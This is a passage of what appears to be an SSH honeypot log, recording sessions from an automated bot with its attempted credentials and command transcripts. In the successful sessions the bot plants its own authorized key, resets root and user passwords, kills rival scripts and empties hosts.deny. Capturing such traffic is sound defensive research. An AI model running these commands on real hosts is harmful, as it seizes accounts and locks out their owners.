$7}'"},{"seq":11,"at":"2026-08-27T11:59:11.488825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:59:13.053007+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:13.321554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:59:14.507956+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:59:14.777049+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:59:16.190149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:59:16.457526+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:59:18.461292+00:00","kind":"output","latency_ms":null,"data":" 11:59:18 up 7 days, 8:49, 0 user, load average: 0.25, 0.29, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:59:18.729101+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:59:19.661529+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:59:19.930272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:59:21.601633+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:59:21.880260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:59:23.813432+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:23 up 7 days, 8:49, 0 user, load average: 0.25, 0.29, 0.2\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:59:24.082394+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:59:25.860050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:59:26.127158+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:59:27.706682+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:59:27.967371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:59:28.789725+00:00","kind":"output","latency_ms":null,"data":"ben"},{"seq":31,"at":"2026-08-27T11:59:29.056902+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:59:30.412079+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:59:30.678683+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:59:32.355320+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ben","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"86a4ec53-f973-4dbb-8614-53cf64acc24e","name":"deft-coral-mink","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":36256,"username":"ben","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:07.008213+00:00","ended_at":"2026-08-27T11:59:08.098293+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ben","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d1beab54-cc7a-4595-b7da-b7c70b5458be","name":"grassy-nautical-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55210,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:05.097474+00:00","ended_at":"2026-08-27T11:59:06.488055+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2d1fa421-ff93-4aed-aa57-06924028b8a9","name":"inland-tranquil-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39950,"username":"arthur","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:57:29.746128+00:00","ended_at":"2026-08-27T11:57:31.557802+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T11:57:09.814328+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:10.075776+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:12.802403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:13.662137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:13.925868+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abc123\\n834JaMI9OZvQ\\n834JaMI9OZvQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:57:14.191683+00:00","kind":"input","latency_ms":null,"data":"echo \"abc123\\n834JaMI9OZvQ\\n834JaMI9OZvQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:57:14.453542+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:15.134111+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:15.397660+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:16.202800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:16.475568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:17.653098+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:17.924689+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:18.529641+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:18.793462+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:19.045810+00:00","kind":"output","latency_ms":null,"data":" 11:57:19 up 7 days, 8:47, 0 user, load average: 0.3, 0.36, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:19.310544+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:19.598219+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:19.862065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:20.906774+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:21.170277+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:22.467408+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:22 up 7 days, 8:47, 0 user, load average: 0.3, 0.36, 0.24\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:22.731320+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:24.790743+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:25.057547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:26.190865+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:26.456059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:28.357721+00:00","kind":"output","latency_ms":null,"data":"arthur"},{"seq":29,"at":"2026-08-27T11:57:28.621461+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:29.482908+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:57:29.746869+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:57:31.482141+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arthur","password":"abc123","method":"password","accepted":true,"tier":"other"}]} {"id":"7c362d85-b641-426e-aa09-6d60c10a94da","name":"smoky-sandy-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39964,"username":"arthur","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:12.013679+00:00","ended_at":"2026-08-27T11:57:12.726570+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"arthur","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c8b33759-9325-4cea-8f61-beaba05db7ab","name":"crystal-frank-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39956,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:10.655662+00:00","ended_at":"2026-08-27T11:57:11.490538+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4d5d54b5-edc6-428e-9c7d-75a731c96b29","name":"wistful-patient-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51392,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:55:38.100034+00:00","ended_at":"2026-08-27T11:55:40.302328+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:55:11.319860+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:11.579013+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:15.916306+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:16.607033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:16.870700+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2wOORic8zhKA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:55:17.128265+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:55:17.386767+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:18.955181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:19.222714+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:20.908142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:21.169862+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:23.102230+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:23.363262+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:24.409833+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:24.670536+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:26.653870+00:00","kind":"output","latency_ms":null,"data":" 11:55:26 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:26.914283+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:28.336896+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:28.598129+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:28.923972+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:29.183848+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:30.737827+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:30 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:31.004727+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:33.030954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:33.293059+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:35.490646+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:35.750971+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:36.491806+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:55:36.753587+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:37.842245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:55:38.100714+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:55:40.226717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456@qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"b5874258-8454-4d42-877b-e7d57c8fd228","name":"lanky-graceful-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51408,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:14.082053+00:00","ended_at":"2026-08-27T11:55:15.840017+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"372e89eb-0c30-44d0-9bfb-eff34f3254d6","name":"leafy-amiable-gecko","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51398,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:12.171267+00:00","ended_at":"2026-08-27T11:55:13.523806+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"49149378-e990-4c2e-9b75-a4bd2715635e","name":"prairie-wistful-martin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51632,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:37.567910+00:00","ended_at":"2026-08-27T11:53:39.758008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:53:08.689119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:08.951773+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:13.277342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:14.090195+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:14.353560+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CfswBwG8WZOi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:53:14.616833+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:53:14.880740+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:15.779321+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:53:16.924965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:53:17.189777+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:53:19.143380+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:53:19.409146+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:53:21.276554+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:53:21.542589+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:53:23.598365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:53:23.866476+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:53:24.194535+00:00","kind":"output","latency_ms":null,"data":" 11:53:24 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:53:24.459048+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:53:26.262854+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:53:26.527604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:53:27.962098+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:53:28.226339+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:53:29.819131+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:29 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:53:30.082874+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:53:31.803051+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:53:32.068245+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:53:33.078059+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:53:33.341790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:53:35.427834+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:53:35.692317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:53:37.292683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:53:37.568724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:53:39.678914+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ubuntu@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3e0e2c68-f22a-40e2-968a-705639151b91","name":"honest-boreal-vole","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51638,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:11.236134+00:00","ended_at":"2026-08-27T11:53:13.200883+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"586250e2-07b1-49b2-adfb-4ffb9d767099","name":"eager-sterling-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51634,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:09.547085+00:00","ended_at":"2026-08-27T11:53:10.704738+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 